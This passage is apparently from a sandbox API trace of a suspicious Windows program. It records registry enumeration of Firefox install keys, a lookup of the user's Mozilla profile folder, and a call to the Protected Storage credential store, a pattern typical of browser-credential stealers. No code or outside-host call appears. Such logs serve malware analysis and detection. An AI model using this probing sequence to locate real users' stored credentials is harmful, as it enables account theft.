ulOptions=0x0, samDesired=0x20119, phkResult=0xefb40 | out: phkResult=0xefb40*=0x0) returned 0x2 [0048.190] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75b090 [0048.190] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", phkResult=0xefbe4 | out: phkResult=0xefbe4*=0x398) returned 0x0 [0048.190] RegEnumKeyExA (in: hKey=0x398, dwIndex=0x0, lpName=0x75b090, lpcchName=0xefbdc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Main", lpcchName=0xefbdc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0048.190] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned 45 [0048.190] lstrlenA (lpString="\\") returned 1 [0048.190] LocalAlloc (uFlags=0x40, uBytes=0xaf) returned 0x750820 [0048.190] lstrcpyA (in: lpString1=0x750820, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" [0048.190] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0048.191] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned 46 [0048.191] lstrlenA (lpString="Main") returned 4 [0048.191] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x756820 [0048.191] lstrcpyA (in: lpString1=0x756820, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0048.191] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\", lpString2="Main" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main" [0048.191] LocalFree (hMem=0x750820) returned 0x0 [0048.191] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main", lpSrch="Mozilla") returned="Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main" [0048.191] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main", ulOptions=0x0, samDesired=0x20019, phkResult=0xefb64 | out: phkResult=0xefb64*=0x39c) returned 0x0 [0048.191] RegQueryValueExA (in: hKey=0x39c, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb5c, lpData=0x0, lpcbData=0xefb60*=0x7 | out: lpType=0xefb5c*=0x1, lpData=0x0, lpcbData=0xefb60*=0x33) returned 0x0 [0048.191] LocalAlloc (uFlags=0x40, uBytes=0xb4) returned 0x7568e0 [0048.191] RegQueryValueExA (in: hKey=0x39c, lpValueName="PathToExe", lpReserved=0x0, lpType=0x0, lpData=0x7568e0, lpcbData=0xefb60*=0x33 | out: lpType=0x0, lpData=0x7568e0*=0x43, lpcbData=0xefb60*=0x33) returned 0x0 [0048.191] RegCloseKey (hKey=0x39c) returned 0x0 [0048.191] lstrlenA (lpString="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe") returned 50 [0048.191] lstrlenA (lpString="") returned 0 [0048.191] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x7569a0 [0048.191] lstrcpyA (in: lpString1=0x7569a0, lpString2="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe") returned="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" [0048.191] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe", lpString2="" | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe") returned="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" [0048.191] lstrlenA (lpString="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe") returned 50 [0048.191] StrStrIA (lpFirst="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe", lpSrch=".exe") returned=".exe" [0048.191] StrRChrIA (lpStart="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe", lpEnd=0x0, wMatch=0x5c) returned="\\firefox.exe" [0048.191] lstrlenA (lpString="C:\\Program Files (x86)\\Mozilla Firefox") returned 38 [0048.191] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x7469f0 [0048.191] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x7469f0 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 0x0 [0048.191] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 39 [0048.191] lstrlenA (lpString="\\Mozilla\\Profiles\\") returned 18 [0048.191] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x74a670 [0048.191] lstrcpyA (in: lpString1=0x74a670, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" [0048.191] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", lpString2="\\Mozilla\\Profiles\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Profiles\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Profiles\\" [0048.191] LocalFree (hMem=0x7469f0) returned 0x0 [0048.191] GetFileAttributesA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Profiles\\" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\mozilla\\profiles")) returned 0xffffffff [0048.191] LocalFree (hMem=0x74a670) returned 0x0 [0048.191] LocalFree (hMem=0x7569a0) returned 0x0 [0048.191] LocalFree (hMem=0x7568e0) returned 0x0 [0048.191] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75b918 [0048.191] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main", phkResult=0xefbb0 | out: phkResult=0xefbb0*=0x39c) returned 0x0 [0048.191] RegEnumKeyExA (in: hKey=0x39c, dwIndex=0x0, lpName=0x75b918, lpcchName=0xefba8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0xefba8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0048.191] RegCloseKey (hKey=0x39c) returned 0x0 [0048.191] LocalFree (hMem=0x75b918) returned 0x0 [0048.191] LocalFree (hMem=0x756820) returned 0x0 [0048.192] RegEnumKeyExA (in: hKey=0x398, dwIndex=0x1, lpName=0x75b090, lpcchName=0xefbdc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Uninstall", lpcchName=0xefbdc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0048.192] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned 45 [0048.192] lstrlenA (lpString="\\") returned 1 [0048.192] LocalAlloc (uFlags=0x40, uBytes=0xaf) returned 0x750820 [0048.192] lstrcpyA (in: lpString1=0x750820, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" [0048.192] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0048.192] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned 46 [0048.192] lstrlenA (lpString="Uninstall") returned 9 [0048.192] LocalAlloc (uFlags=0x40, uBytes=0xb8) returned 0x756820 [0048.192] lstrcpyA (in: lpString1=0x756820, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0048.192] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\", lpString2="Uninstall" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall" [0048.192] LocalFree (hMem=0x750820) returned 0x0 [0048.192] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall", lpSrch="Mozilla") returned="Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall" [0048.192] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall", ulOptions=0x0, samDesired=0x20019, phkResult=0xefb64 | out: phkResult=0xefb64*=0x39c) returned 0x0 [0048.192] RegQueryValueExA (in: hKey=0x39c, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb5c, lpData=0x0, lpcbData=0xefb60*=0x7 | out: lpType=0xefb5c*=0x0, lpData=0x0, lpcbData=0xefb60*=0x0) returned 0x2 [0048.192] RegCloseKey (hKey=0x39c) returned 0x0 [0048.192] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall", ulOptions=0x0, samDesired=0x20219, phkResult=0xefb38 | out: phkResult=0xefb38*=0x39c) returned 0x0 [0048.192] RegQueryValueExA (in: hKey=0x39c, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb30, lpData=0x0, lpcbData=0xefb34*=0xefb1c | out: lpType=0xefb30*=0x0, lpData=0x0, lpcbData=0xefb34*=0x0) returned 0x2 [0048.192] RegCloseKey (hKey=0x39c) returned 0x0 [0048.192] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall", ulOptions=0x0, samDesired=0x20119, phkResult=0xefb0c | out: phkResult=0xefb0c*=0x0) returned 0x2 [0048.192] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75b918 [0048.192] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall", phkResult=0xefbb0 | out: phkResult=0xefbb0*=0x39c) returned 0x0 [0048.192] RegEnumKeyExA (in: hKey=0x39c, dwIndex=0x0, lpName=0x75b918, lpcchName=0xefba8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0xefba8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0048.192] RegCloseKey (hKey=0x39c) returned 0x0 [0048.192] LocalFree (hMem=0x75b918) returned 0x0 [0048.192] LocalFree (hMem=0x756820) returned 0x0 [0048.192] RegEnumKeyExA (in: hKey=0x398, dwIndex=0x2, lpName=0x75b090, lpcchName=0xefbdc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Uninstall", lpcchName=0xefbdc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0048.192] RegCloseKey (hKey=0x398) returned 0x0 [0048.192] LocalFree (hMem=0x75b090) returned 0x0 [0048.192] LocalFree (hMem=0x7508d8) returned 0x0 [0048.192] RegEnumKeyExA (in: hKey=0x394, dwIndex=0x1, lpName=0x75a808, lpcchName=0xefc10, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="25.0 (en-US)", lpcchName=0xefc10, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0048.192] RegCloseKey (hKey=0x394) returned 0x0 [0048.192] LocalFree (hMem=0x75a808) returned 0x0 [0048.192] LocalFree (hMem=0x754820) returned 0x0 [0048.192] RegEnumKeyExA (in: hKey=0x3b4, dwIndex=0x2, lpName=0x74ccd0, lpcchName=0xefc44, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Mozilla Firefox 25.0", lpcchName=0xefc44, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0048.192] lstrlenA (lpString="Software\\Mozilla") returned 16 [0048.193] lstrlenA (lpString="\\") returned 1 [0048.193] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x716ef8 [0048.193] lstrcpyA (in: lpString1=0x716ef8, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0048.193] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0048.193] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0048.193] lstrlenA (lpString="Mozilla Firefox 25.0") returned 20 [0048.193] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x754820 [0048.193] lstrcpyA (in: lpString1=0x754820, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0048.193] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="Mozilla Firefox 25.0" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0") returned="Software\\Mozilla\\Mozilla Firefox 25.0" [0048.193] LocalFree (hMem=0x716ef8) returned 0x0 [0048.193] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox 25.0", lpSrch="Mozilla") returned="Mozilla\\Mozilla Firefox 25.0" [0048.193] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0", ulOptions=0x0, samDesired=0x20019, phkResult=0xefbcc | out: phkResult=0xefbcc*=0x394) returned 0x0 [0048.193] RegQueryValueExA (in: hKey=0x394, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefbc4, lpData=0x0, lpcbData=0xefbc8*=0x7 | out: lpType=0xefbc4*=0x0, lpData=0x0, lpcbData=0xefbc8*=0x0) returned 0x2 [0048.193] RegCloseKey (hKey=0x394) returned 0x0 [0048.193] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0", ulOptions=0x0, samDesired=0x20219, phkResult=0xefba0 | out: phkResult=0xefba0*=0x394) returned 0x0 [0048.193] RegQueryValueExA (in: hKey=0x394, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb98, lpData=0x0, lpcbData=0xefb9c*=0xefb84 | out: lpType=0xefb98*=0x0, lpData=0x0, lpcbData=0xefb9c*=0x0) returned 0x2 [0048.193] RegCloseKey (hKey=0x394) returned 0x0 [0048.193] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0", ulOptions=0x0, samDesired=0x20119, phkResult=0xefb74 | out: phkResult=0xefb74*=0x0) returned 0x2 [0048.193] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75a808 [0048.193] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0", phkResult=0xefc18 | out: phkResult=0xefc18*=0x394) returned 0x0 [0048.193] RegEnumKeyExA (in: hKey=0x394, dwIndex=0x0, lpName=0x75a808, lpcchName=0xefc10, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="bin", lpcchName=0xefc10, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0048.193] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox 25.0") returned 37 [0048.193] lstrlenA (lpString="\\") returned 1 [0048.193] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x7548d0 [0048.193] lstrcpyA (in: lpString1=0x7548d0, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0") returned="Software\\Mozilla\\Mozilla Firefox 25.0" [0048.193] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0048.193] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned 38 [0048.193] lstrlenA (lpString="bin") returned 3 [0048.193] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x7508d8 [0048.193] lstrcpyA (in: lpString1=0x7508d8, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0048.193] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\", lpString2="bin" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\bin") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\bin" [0048.193] LocalFree (hMem=0x7548d0) returned 0x0 [0048.193] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox 25.0\\bin", lpSrch="Mozilla") returned="Mozilla\\Mozilla Firefox 25.0\\bin" [0048.193] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\bin", ulOptions=0x0, samDesired=0x20019, phkResult=0xefb98 | out: phkResult=0xefb98*=0x398) returned 0x0 [0048.193] RegQueryValueExA (in: hKey=0x398, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb90, lpData=0x0, lpcbData=0xefb94*=0x7 | out: lpType=0xefb90*=0x1, lpData=0x0, lpcbData=0xefb94*=0x33) returned 0x0 [0048.193] LocalAlloc (uFlags=0x40, uBytes=0xb4) returned 0x756820 [0048.193] RegQueryValueExA (in: hKey=0x398, lpValueName="PathToExe", lpReserved=0x0, lpType=0x0, lpData=0x756820, lpcbData=0xefb94*=0x33 | out: lpType=0x0, lpData=0x756820*=0x43, lpcbData=0xefb94*=0x33) returned 0x0 [0048.194] RegCloseKey (hKey=0x398) returned 0x0 [0048.194] lstrlenA (lpString="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe") returned 50 [0048.194] lstrlenA (lpString="") returned 0 [0048.194] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x7568e0 [0048.194] lstrcpyA (in: lpString1=0x7568e0, lpString2="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe") returned="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" [0048.194] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe", lpString2="" | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe") returned="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" [0048.194] lstrlenA (lpString="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe") returned 50 [0048.194] StrStrIA (lpFirst="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe", lpSrch=".exe") returned=".exe" [0048.194] StrRChrIA (lpStart="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe", lpEnd=0x0, wMatch=0x5c) returned="\\firefox.exe" [0048.194] lstrlenA (lpString="C:\\Program Files (x86)\\Mozilla Firefox") returned 38 [0048.194] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x7469f0 [0048.194] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x7469f0 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 0x0 [0048.194] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 39 [0048.194] lstrlenA (lpString="\\Mozilla\\Profiles\\") returned 18 [0048.194] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x74a670 [0048.194] lstrcpyA (in: lpString1=0x74a670, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" [0048.194] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", lpString2="\\Mozilla\\Profiles\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Profiles\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Profiles\\" [0048.194] LocalFree (hMem=0x7469f0) returned 0x0 [0048.194] GetFileAttributesA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Profiles\\" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\mozilla\\profiles")) returned 0xffffffff [0048.194] LocalFree (hMem=0x74a670) returned 0x0 [0048.194] LocalFree (hMem=0x7568e0) returned 0x0 [0048.194] LocalFree (hMem=0x756820) returned 0x0 [0048.194] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75b090 [0048.194] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\bin", phkResult=0xefbe4 | out: phkResult=0xefbe4*=0x398) returned 0x0 [0048.194] RegEnumKeyExA (in: hKey=0x398, dwIndex=0x0, lpName=0x75b090, lpcchName=0xefbdc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0xefbdc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0048.194] RegCloseKey (hKey=0x398) returned 0x0 [0048.194] LocalFree (hMem=0x75b090) returned 0x0 [0048.194] LocalFree (hMem=0x7508d8) returned 0x0 [0048.194] RegEnumKeyExA (in: hKey=0x394, dwIndex=0x1, lpName=0x75a808, lpcchName=0xefc10, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="extensions", lpcchName=0xefc10, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0048.194] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox 25.0") returned 37 [0048.194] lstrlenA (lpString="\\") returned 1 [0048.194] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x7548d0 [0048.194] lstrcpyA (in: lpString1=0x7548d0, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0") returned="Software\\Mozilla\\Mozilla Firefox 25.0" [0048.194] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0048.194] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned 38 [0048.194] lstrlenA (lpString="extensions") returned 10 [0048.194] LocalAlloc (uFlags=0x40, uBytes=0xb1) returned 0x756820 [0048.194] lstrcpyA (in: lpString1=0x756820, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0048.194] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\", lpString2="extensions" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions" [0048.194] LocalFree (hMem=0x7548d0) returned 0x0 [0048.194] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions", lpSrch="Mozilla") returned="Mozilla\\Mozilla Firefox 25.0\\extensions" [0048.194] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions", ulOptions=0x0, samDesired=0x20019, phkResult=0xefb98 | out: phkResult=0xefb98*=0x398) returned 0x0 [0048.195] RegQueryValueExA (in: hKey=0x398, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb90, lpData=0x0, lpcbData=0xefb94*=0x7 | out: lpType=0xefb90*=0x0, lpData=0x0, lpcbData=0xefb94*=0x0) returned 0x2 [0048.195] RegCloseKey (hKey=0x398) returned 0x0 [0048.195] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions", ulOptions=0x0, samDesired=0x20219, phkResult=0xefb6c | out: phkResult=0xefb6c*=0x398) returned 0x0 [0048.195] RegQueryValueExA (in: hKey=0x398, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb64, lpData=0x0, lpcbData=0xefb68*=0xefb50 | out: lpType=0xefb64*=0x0, lpData=0x0, lpcbData=0xefb68*=0x0) returned 0x2 [0048.195] RegCloseKey (hKey=0x398) returned 0x0 [0048.195] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions", ulOptions=0x0, samDesired=0x20119, phkResult=0xefb40 | out: phkResult=0xefb40*=0x0) returned 0x2 [0048.195] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75b090 [0048.195] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions", phkResult=0xefbe4 | out: phkResult=0xefbe4*=0x398) returned 0x0 [0048.195] RegEnumKeyExA (in: hKey=0x398, dwIndex=0x0, lpName=0x75b090, lpcchName=0xefbdc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0xefbdc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0048.195] RegCloseKey (hKey=0x398) returned 0x0 [0048.195] LocalFree (hMem=0x75b090) returned 0x0 [0048.195] LocalFree (hMem=0x756820) returned 0x0 [0048.195] RegEnumKeyExA (in: hKey=0x394, dwIndex=0x2, lpName=0x75a808, lpcchName=0xefc10, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="extensions", lpcchName=0xefc10, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0048.195] RegCloseKey (hKey=0x394) returned 0x0 [0048.195] LocalFree (hMem=0x75a808) returned 0x0 [0048.195] LocalFree (hMem=0x754820) returned 0x0 [0048.195] RegEnumKeyExA (in: hKey=0x3b4, dwIndex=0x3, lpName=0x74ccd0, lpcchName=0xefc44, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Mozilla Firefox 25.0", lpcchName=0xefc44, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0048.195] RegCloseKey (hKey=0x3b4) returned 0x0 [0048.195] LocalFree (hMem=0x74ccd0) returned 0x0 [0048.195] SetCurrentDirectoryA (lpPathName="C:\\Users\\aDU0VK IWA5kLS\\Desktop" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop")) returned 1 [0048.195] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.195] IStream:LockRegion (This=0x7473d8, libOffset=0x148, cb=0x0, dwLockType=0x0) returned 0x0 [0048.195] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefc54) returned 0x0 [0048.195] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.195] IStream:LockRegion (This=0x7473d8, libOffset=0x140, cb=0x0, dwLockType=0x0) returned 0x0 [0048.195] IStream:Stat (in: This=0x7473d8, pstatstg=0x140, grfStatFlag=0x0 | out: pstatstg=0x140) returned 0x0 [0048.195] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.195] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.195] IStream:Commit (This=0x7473d8, grfCommitFlags=0x1000f0d7) returned 0x0 [0048.195] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd54) returned 0x0 [0048.195] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd68) returned 0x0 [0048.195] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefd6c) returned 0x0 [0048.195] PStoreCreateInstance () returned 0x0 [0053.225] CoCreateInstance (in: rclsid=0x100102d8*(Data1=0x3c374a40, Data2=0xbae4, Data3=0x11cf, Data4=([0]=0xbf, [1]=0x7d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x69, [6]=0x46, 